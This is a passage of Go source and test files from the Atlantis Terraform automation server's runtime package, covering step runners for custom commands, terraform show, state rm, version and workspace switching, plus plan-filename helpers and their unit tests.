project=$PROJECT_NAME", ExpOut: "workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/myworkspace.tfplan showfile=$DIR/myworkspace.json project=\n", }, { Command: "echo workspace=$WORKSPACE version=$ATLANTIS_TERRAFORM_VERSION dir=$DIR planfile=$PLANFILE showfile=$SHOWFILE project=$PROJECT_NAME", ProjectName: "my/project/name", ExpOut: "workspace=myworkspace version=0.11.0 dir=$DIR planfile=$DIR/my::project::name-myworkspace.tfplan showfile=$DIR/my::project::name-myworkspace.json project=my/project/name\n", }, { Command: "echo distribution=$ATLANTIS_TERRAFORM_DISTRIBUTION", ProjectName: "my/project/name", ExpOut: "distribution=terraform\n", Distribution: "terraform", }, { Command: "echo distribution=$ATLANTIS_TERRAFORM_DISTRIBUTION", ProjectName: "my/project/name", ExpOut: "distribution=tofu\n", Distribution: "opentofu", }, { Command: "echo base_repo_name=$BASE_REPO_NAME base_repo_owner=$BASE_REPO_OWNER head_repo_name=$HEAD_REPO_NAME head_repo_owner=$HEAD_REPO_OWNER head_branch_name=$HEAD_BRANCH_NAME head_commit=$HEAD_COMMIT base_branch_name=$BASE_BRANCH_NAME pull_num=$PULL_NUM pull_url=$PULL_URL pull_author=$PULL_AUTHOR repo_rel_dir=$REPO_REL_DIR", ExpOut: "base_repo_name=basename base_repo_owner=baseowner head_repo_name=headname head_repo_owner=headowner head_branch_name=add-feat head_commit=12345abcdef base_branch_name=main pull_num=2 pull_url=https://github.com/runatlantis/atlantis/pull/2 pull_author=acme repo_rel_dir=mydir\n", }, { Command: "echo user_name=$USER_NAME", ExpOut: "user_name=acme-user\n", }, { Command: "echo $PATH", ExpOut: fmt.Sprintf("%s:%s\n", os.Getenv("PATH"), "/bin/dir"), }, { Command: "echo args=$COMMENT_ARGS", ExpOut: "args=-target=resource1,-target=resource2\n", }, { Command: `echo mySecret: \"foo\"`, ExpOut: "mySecret: \"\"\n", PostProcessOutput: []valid.PostProcessRunOutputOption{ "filter_regex", }, PostProcessFilterRegexes: []*regexp.Regexp{ testRegexSecret, }, }, } for _, customPolicyCheck := range []bool{false, true} { for _, c := range cases { var projVersion *version.Version var err error projVersion, err = version.NewVersion("v0.11.0") if c.Version != "" { projVersion, err = version.NewVersion(c.Version) Ok(t, err) } Ok(t, err) projTFDistribution := "terraform" if c.Distribution != "" { projTFDistribution = c.Distribution } defaultVersion, _ := version.NewVersion("0.8") RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() defaultDistribution := tf.NewDistributionTerraformWithDownloader(mocks.NewMockDownloader()) When(terraform.EnsureVersion(Any[logging.SimpleLogging](), Any[tf.Distribution](), Any[*version.Version]())). ThenReturn(nil) logger := logging.NewNoopLogger(t) projectCmdOutputHandler := jobmocks.NewMockProjectCommandOutputHandler() tmpDir := t.TempDir() r := runtime.RunStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: defaultDistribution, DefaultTFVersion: defaultVersion, TerraformBinDir: "/bin/dir", ProjectCmdOutputHandler: projectCmdOutputHandler, } t.Run(fmt.Sprintf("%s_CustomPolicyCheck=%v", c.Command, customPolicyCheck), func(t *testing.T) { ctx := command.ProjectContext{ BaseRepo: models.Repo{ Name: "basename", Owner: "baseowner", }, HeadRepo: models.Repo{ Name: "headname", Owner: "headowner", }, Pull: models.PullRequest{ Num: 2, URL: "https://github.com/runatlantis/atlantis/pull/2", HeadBranch: "add-feat", HeadCommit: "12345abcdef", BaseBranch: "main", Author: "acme", }, User: models.User{ Username: "acme-user", }, Log: logger, Workspace: "myworkspace", RepoRelDir: "mydir", TerraformDistribution: &projTFDistribution, TerraformVersion: projVersion, ProjectName: c.ProjectName, EscapedCommentArgs: []string{"-target=resource1", "-target=resource2"}, CustomPolicyCheck: customPolicyCheck, } out, err := r.Run(ctx, nil, c.Command, tmpDir, map[string]string{"test": "var"}, true, c.PostProcessOutput, c.PostProcessFilterRegexes) if c.ExpErr != "" { ErrContains(t, c.ExpErr, err) return } Ok(t, err) // Replace $DIR in the exp with the actual temp dir. We do this // here because when constructing the cases we don't yet know the // temp dir. expOut := strings.ReplaceAll(c.ExpOut, "$DIR", tmpDir) Equals(t, expOut, out) terraform.VerifyWasCalledOnce().EnsureVersion(Eq(logger), NotEq(defaultDistribution), Eq(projVersion)) terraform.VerifyWasCalled(Never()).EnsureVersion(Eq(logger), Eq(defaultDistribution), Eq(defaultVersion)) }) } } } ================================================ FILE: server/core/runtime/runtime.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 // Package runtime holds code for actually running commands vs. preparing // and constructing. package runtime import ( "bytes" "fmt" "regexp" "strings" version "github.com/hashicorp/go-version" runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) const ( // lineBeforeRunURL is the line output during a remote operation right before // a link to the run url will be output. lineBeforeRunURL = "To view this run in a browser, visit:" planfileSlashReplace = "::" ) // TerraformExec brings the interface from TerraformClient into this package // without causing circular imports. type TerraformExec interface { RunCommandWithVersion(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (string, error) EnsureVersion(log logging.SimpleLogging, d terraform.Distribution, v *version.Version) error } // AsyncTFExec brings the interface from TerraformClient into this package // without causing circular imports. // It's split from TerraformExec because due to a bug in pegomock with channels, // we can't generate a mock for it so we hand-write it for this specific method. // //go:generate pegomock generate --package mocks -o mocks/mock_async_tfexec.go AsyncTFExec type AsyncTFExec interface { // RunCommandAsync runs terraform with args. It immediately returns an // input and output channel. Callers can use the output channel to // get the realtime output from the command. // Callers can use the input channel to pass stdin input to the command. // If any error is passed on the out channel, there will be no // further output (so callers are free to exit). RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *version.Version, workspace string) (chan<- string, <-chan runtimemodels.Line) } // StatusUpdater brings the interface from CommitStatusUpdater into this package // without causing circular imports. // //go:generate pegomock generate --package mocks -o mocks/mock_status_updater.go StatusUpdater type StatusUpdater interface { UpdateProject(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, url string, res *command.ProjectCommandOutput) error } // Runner mirrors events.StepRunner as a way to bring it into this package // //go:generate pegomock generate --package mocks -o mocks/mock_runner.go Runner type Runner interface { Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) } // NullRunner is a runner that isn't configured for a given plan type but outputs nothing type NullRunner struct{} func (p NullRunner) Run(ctx command.ProjectContext, _ []string, _ string, _ map[string]string) (string, error) { ctx.Log.Debug("runner not configured for plan type") return "", nil } // RemoteBackendUnsupportedRunner is a runner that is responsible for outputting that the remote backend is unsupported type RemoteBackendUnsupportedRunner struct{} func (p RemoteBackendUnsupportedRunner) Run(ctx command.ProjectContext, _ []string, _ string, _ map[string]string) (string, error) { ctx.Log.Debug("runner not configured for remote backend") return "Remote backend is unsupported for this step.", nil } // MustConstraint returns a constraint. It panics on error. func MustConstraint(constraint string) version.Constraints { c, err := version.NewConstraint(constraint) if err != nil { panic(err) } return c } // GetPlanFilename returns the filename (not the path) of the generated tf plan // given a workspace and project name. func GetPlanFilename(workspace string, projName string) string { if projName == "" { return fmt.Sprintf("%s.tfplan", workspace) } projName = strings.ReplaceAll(projName, "/", planfileSlashReplace) return fmt.Sprintf("%s-%s.tfplan", projName, workspace) } // isRemotePlan returns true if planContents are from a plan that was generated // using TFE remote operations. func IsRemotePlan(planContents []byte) bool { // We add a header to plans generated by the remote backend so we can // detect that they're remote in the apply phase. remoteOpsHeaderBytes := []byte(remoteOpsHeader) return bytes.Equal(planContents[:len(remoteOpsHeaderBytes)], remoteOpsHeaderBytes) } // ProjectNameFromPlanfile returns the project name that a planfile with name // filename is for. If filename is for a project without a name then it will // return an empty string. workspace is the workspace this project is in. func ProjectNameFromPlanfile(workspace string, filename string) (string, error) { r, err := regexp.Compile(fmt.Sprintf(`(.*?)-%s\.tfplan`, workspace)) if err != nil { return "", fmt.Errorf("compiling project name regex, this is a bug: %w", err) } projMatch := r.FindAllStringSubmatch(filename, 1) if projMatch == nil { return "", nil } rawProjName := projMatch[0][1] return strings.ReplaceAll(rawProjName, planfileSlashReplace, "/"), nil } ================================================ FILE: server/core/runtime/runtime_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "fmt" "testing" "github.com/runatlantis/atlantis/server/core/runtime" . "github.com/runatlantis/atlantis/testing" ) func TestGetPlanFilename(t *testing.T) { cases := []struct { workspace string projectName string exp string }{ { "workspace", "", "workspace.tfplan", }, { "workspace", "project", "project-workspace.tfplan", }, { "workspace", "project/with/slash", "project::with::slash-workspace.tfplan", }, { "workspace", "project with space", "project with space-workspace.tfplan", }, { "workspace😀", "project😀", "project😀-workspace😀.tfplan", }, // Previously we replaced invalid chars with -'s, however we now // rely on validation of the atlantis.yaml file to ensure the name's // don't contain chars that need to be url encoded. So now these // chars shouldn't get replaced. { "default", `all.invalid.chars \/"*?<>`, "all.invalid.chars \\::\"*?<>-default.tfplan", }, } for i, c := range cases { t.Run(fmt.Sprintf("case %d", i), func(t *testing.T) { Equals(t, c.exp, runtime.GetPlanFilename(c.workspace, c.projectName)) }) } } func TestProjectNameFromPlanfile(t *testing.T) { cases := []struct { workspace string filename string exp string }{ { "workspace", "workspace.tfplan", "", }, { "workspace", "project-workspace.tfplan", "project", }, { "workspace", "project-workspace-workspace.tfplan", "project-workspace", }, { "workspace", "project::with::slashes::-workspace.tfplan", "project/with/slashes/", }, } for i, c := range cases { t.Run(fmt.Sprintf("case %d", i), func(t *testing.T) { act, err := runtime.ProjectNameFromPlanfile(c.workspace, c.filename) Ok(t, err) Equals(t, c.exp, act) }) } } ================================================ FILE: server/core/runtime/show_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "path/filepath" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" ) const minimumShowTfVersion string = "0.12.0" func NewShowStepRunner(executor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTFVersion *version.Version) (Runner, error) { showStepRunner := &showStepRunner{ terraformExecutor: executor, defaultTfDistribution: defaultTfDistribution, defaultTFVersion: defaultTFVersion, } remotePlanRunner := NullRunner{} runner := NewPlanTypeStepRunnerDelegate(showStepRunner, remotePlanRunner) return NewMinimumVersionStepRunnerDelegate(minimumShowTfVersion, defaultTFVersion, runner) } // showStepRunner runs terraform show on an existing plan file and outputs it to a json file type showStepRunner struct { terraformExecutor TerraformExec defaultTfDistribution terraform.Distribution defaultTFVersion *version.Version } func (p *showStepRunner) Run(ctx command.ProjectContext, _ []string, path string, envs map[string]string) (string, error) { tfDistribution := p.defaultTfDistribution tfVersion := p.defaultTFVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } planFile := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) showResultFile := filepath.Join(path, ctx.GetShowResultFileName()) output, err := p.terraformExecutor.RunCommandWithVersion( ctx, path, []string{"show", "-json", filepath.Clean(planFile)}, envs, tfDistribution, tfVersion, ctx.Workspace, ) if err != nil { return "", fmt.Errorf("running terraform show: %w", err) } if err := os.WriteFile(showResultFile, []byte(output), 0600); err != nil { return "", fmt.Errorf("writing terraform show result: %w", err) } return output, nil } ================================================ FILE: server/core/runtime/show_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "fmt" "os" "path/filepath" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestShowStepRunnner(t *testing.T) { logger := logging.NewNoopLogger(t) path := t.TempDir() resultPath := filepath.Join(path, "test-default.json") envs := map[string]string{"key": "val"} mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.12") context := command.ProjectContext{ Workspace: "default", ProjectName: "test", Log: logger, } RegisterMockTestingT(t) mockExecutor := tfclientmocks.NewMockClient() subject := showStepRunner{ terraformExecutor: mockExecutor, defaultTfDistribution: tfDistribution, defaultTFVersion: tfVersion, } t.Run("success", func(t *testing.T) { When(mockExecutor.RunCommandWithVersion( context, path, []string{"show", "-json", filepath.Join(path, "test-default.tfplan")}, envs, tfDistribution, tfVersion, context.Workspace, )).ThenReturn("success", nil) r, err := subject.Run(context, []string{}, path, envs) Ok(t, err) actual, _ := os.ReadFile(resultPath) actualStr := string(actual) Assert(t, actualStr == "success", fmt.Sprintf("expected '%s' to be success", actualStr)) Assert(t, r == "success", fmt.Sprintf("expected '%s' to be success", r)) }) t.Run("success w/ version override", func(t *testing.T) { v, _ := version.NewVersion("0.13.0") mockDownloader := mocks.NewMockDownloader() d := tf.NewDistributionTerraformWithDownloader(mockDownloader) contextWithVersionOverride := command.ProjectContext{ Workspace: "default", ProjectName: "test", Log: logger, TerraformVersion: v, } When(mockExecutor.RunCommandWithVersion( contextWithVersionOverride, path, []string{"show", "-json", filepath.Join(path, "test-default.tfplan")}, envs, d, v, context.Workspace, )).ThenReturn("success", nil) r, err := subject.Run(contextWithVersionOverride, []string{}, path, envs) Ok(t, err) actual, _ := os.ReadFile(resultPath) actualStr := string(actual) Assert(t, actualStr == "success", "got expected result") Assert(t, r == "success", "returned expected result") }) t.Run("success w/ distribution override", func(t *testing.T) { v, _ := version.NewVersion("0.13.0") mockDownloader := mocks.NewMockDownloader() d := tf.NewDistributionTerraformWithDownloader(mockDownloader) projTFDistribution := "opentofu" contextWithDistributionOverride := command.ProjectContext{ Workspace: "default", ProjectName: "test", Log: logger, TerraformDistribution: &projTFDistribution, } When(mockExecutor.RunCommandWithVersion( Eq(contextWithDistributionOverride), Eq(path), Eq([]string{"show", "-json", filepath.Join(path, "test-default.tfplan")}), Eq(envs), NotEq(d), NotEq(v), Eq(context.Workspace), )).ThenReturn("success", nil) r, err := subject.Run(contextWithDistributionOverride, []string{}, path, envs) Ok(t, err) actual, _ := os.ReadFile(resultPath) actualStr := string(actual) Assert(t, actualStr == "success", "got expected result") Assert(t, r == "success", "returned expected result") }) t.Run("failure running command", func(t *testing.T) { When(mockExecutor.RunCommandWithVersion( context, path, []string{"show", "-json", filepath.Join(path, "test-default.tfplan")}, envs, tfDistribution, tfVersion, context.Workspace, )).ThenReturn("success", errors.New("error")) _, err := subject.Run(context, []string{}, path, envs) Assert(t, err != nil, "error is returned") }) } ================================================ FILE: server/core/runtime/state_rm_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "os" "path/filepath" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/utils" ) type stateRmStepRunner struct { terraformExecutor TerraformExec defaultTFDistribution terraform.Distribution defaultTFVersion *version.Version } func NewStateRmStepRunner(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version) Runner { runner := &stateRmStepRunner{ terraformExecutor: terraformExecutor, defaultTFDistribution: defaultTfDistribution, defaultTFVersion: defaultTfVersion, } return NewWorkspaceStepRunnerDelegate(terraformExecutor, defaultTfDistribution, defaultTfVersion, runner) } func (p *stateRmStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { tfDistribution := p.defaultTFDistribution tfVersion := p.defaultTFVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } stateRmCmd := []string{"state", "rm"} stateRmCmd = append(stateRmCmd, extraArgs...) stateRmCmd = append(stateRmCmd, ctx.EscapedCommentArgs...) out, err := p.terraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), stateRmCmd, envs, tfDistribution, tfVersion, ctx.Workspace) // If the state rm was successful and a plan file exists, delete the plan. planPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) if err == nil { if _, planPathErr := os.Stat(planPath); !os.IsNotExist(planPathErr) { ctx.Log.Info("state rm successful, deleting planfile") if removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil { ctx.Log.Warn("failed to delete planfile after successful state rm: %s", removeErr) } } } return out, err } ================================================ FILE: server/core/runtime/state_rm_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "os" "path/filepath" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestStateRmStepRunner_Run_Success(t *testing.T) { logger := logging.NewNoopLogger(t) workspace := "default" tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) err := os.WriteFile(planPath, nil, 0600) Ok(t, err) context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"-lock=false", "addr1", "addr2", "addr3"}, Workspace: workspace, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion("0.15.0") mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) s := NewStateRmStepRunner(terraform, tfDistribution, tfVersion) When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) commands := []string{"state", "rm", "-lock=false", "addr1", "addr2", "addr3"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, "default") _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestStateRmStepRunner_Run_Workspace(t *testing.T) { logger := logging.NewNoopLogger(t) workspace := "something" tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) err := os.WriteFile(planPath, nil, 0600) Ok(t, err) context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"-lock=false", "addr1", "addr2", "addr3"}, Workspace: workspace, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion("0.15.0") mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) s := NewStateRmStepRunner(terraform, tfDistribution, tfVersion) When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) // switch workspace terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, workspace) terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "select", workspace}, map[string]string(nil), tfDistribution, tfVersion, workspace) // exec state rm commands := []string{"state", "rm", "-lock=false", "addr1", "addr2", "addr3"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestStateRmStepRunner_Run_UsesConfiguredDistribution(t *testing.T) { logger := logging.NewNoopLogger(t) workspace := "something" tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) err := os.WriteFile(planPath, nil, 0600) Ok(t, err) projTFDistribution := "opentofu" context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"-lock=false", "addr1", "addr2", "addr3"}, Workspace: workspace, TerraformDistribution: &projTFDistribution, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() tfVersion, _ := version.NewVersion("0.15.0") mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) s := NewStateRmStepRunner(terraform, tfDistribution, tfVersion) When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) // switch workspace terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "show"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "select", workspace}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) // exec state rm commands := []string{"state", "rm", "-lock=false", "addr1", "addr2", "addr3"} terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq(commands), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } ================================================ FILE: server/core/runtime/version_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "path/filepath" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" ) // VersionStepRunner runs a version command given a ctx type VersionStepRunner struct { TerraformExecutor TerraformExec DefaultTFDistribution terraform.Distribution DefaultTFVersion *version.Version } // Run ensures a given version for the executable, builds the args from the project context and then runs executable returning the result func (v *VersionStepRunner) Run(ctx command.ProjectContext, _ []string, path string, envs map[string]string) (string, error) { tfDistribution := v.DefaultTFDistribution tfVersion := v.DefaultTFVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } versionCmd := []string{"version"} return v.TerraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), versionCmd, envs, tfDistribution, tfVersion, ctx.Workspace) } ================================================ FILE: server/core/runtime/version_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestRunVersionStep(t *testing.T) { RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) workspace := "default" context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"comment", "args"}, Workspace: workspace, RepoRelDir: ".", User: models.User{Username: "username"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, } terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.15.0") tmpDir := t.TempDir() s := &VersionStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } t.Run("ensure runs", func(t *testing.T) { _, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"version"}, map[string]string(nil), tfDistribution, tfVersion, "default") Ok(t, err) }) } func TestVersionStepRunner_Run_UsesConfiguredDistribution(t *testing.T) { RegisterMockTestingT(t) logger := logging.NewNoopLogger(t) workspace := "default" projTFDistribution := "opentofu" context := command.ProjectContext{ Log: logger, EscapedCommentArgs: []string{"comment", "args"}, Workspace: workspace, RepoRelDir: ".", User: models.User{Username: "username"}, Pull: models.PullRequest{ Num: 2, }, BaseRepo: models.Repo{ FullName: "owner/repo", Owner: "owner", Name: "repo", }, TerraformDistribution: &projTFDistribution, } terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.15.0") tmpDir := t.TempDir() s := &VersionStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } t.Run("ensure runs", func(t *testing.T) { _, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"version"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("default")) Ok(t, err) }) } ================================================ FILE: server/core/runtime/workspace_step_runner_delegate.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "fmt" "strings" "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" ) // workspaceStepRunnerDelegate ensures that a given step runner run on switched workspace type workspaceStepRunnerDelegate struct { terraformExecutor TerraformExec defaultTfDistribution terraform.Distribution defaultTfVersion *version.Version delegate Runner } func NewWorkspaceStepRunnerDelegate(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, delegate Runner) Runner { return &workspaceStepRunnerDelegate{ terraformExecutor: terraformExecutor, defaultTfDistribution: defaultTfDistribution, defaultTfVersion: defaultTfVersion, delegate: delegate, } } func (r *workspaceStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { tfDistribution := r.defaultTfDistribution tfVersion := r.defaultTfVersion if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } // We only need to switch workspaces in version 0.9.*. In older versions, // there is no such thing as a workspace so we don't need to do anything. if err := r.switchWorkspace(ctx, path, tfDistribution, tfVersion, envs); err != nil { return "", err } return r.delegate.Run(ctx, extraArgs, path, envs) } // switchWorkspace changes the terraform workspace if necessary and will create // it if it doesn't exist. It handles differences between versions. func (r *workspaceStepRunnerDelegate) switchWorkspace(ctx command.ProjectContext, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, envs map[string]string) error { // In versions less than 0.9 there is no support for workspaces. noWorkspaceSupport := MustConstraint("<0.9").Check(tfVersion) // If the user tried to set a specific workspace in the comment but their // version of TF doesn't support workspaces then error out. if noWorkspaceSupport && ctx.Workspace != defaultWorkspace { return fmt.Errorf("terraform version %s does not support workspaces", tfVersion) } if noWorkspaceSupport { return nil } // In version 0.9.* the workspace command was called env. workspaceCmd := "workspace" runningZeroPointNine := MustConstraint(">=0.9,<0.10").Check(tfVersion) if runningZeroPointNine { workspaceCmd = "env" } // Use `workspace show` to find out what workspace we're in now. If we're // already in the right workspace then no need to switch. This will save us // about ten seconds. This command is only available in > 0.10. if !runningZeroPointNine { workspaceShowOutput, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, "show"}, envs, tfDistribution, tfVersion, ctx.Workspace) if err != nil { return err } // If `show` says we're already on this workspace then we're done. if strings.TrimSpace(workspaceShowOutput) == ctx.Workspace { return nil } } // Finally we'll have to select the workspace. We need to figure out if this // workspace exists so we can create it if it doesn't. // To do this we can either select and catch the error or use list and then // look for the workspace. Both commands take the same amount of time so // that's why we're running select here. _, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, "select", ctx.Workspace}, envs, tfDistribution, tfVersion, ctx.Workspace) if err != nil { // If terraform workspace select fails we run terraform workspace // new to create a new workspace automatically. out, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, "new", ctx.Workspace}, envs, tfDistribution, tfVersion, ctx.Workspace) if err != nil { return fmt.Errorf("%s: %s", err, out) } } return nil } ================================================ FILE: server/core/runtime/workspace_step_runner_delegate_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func 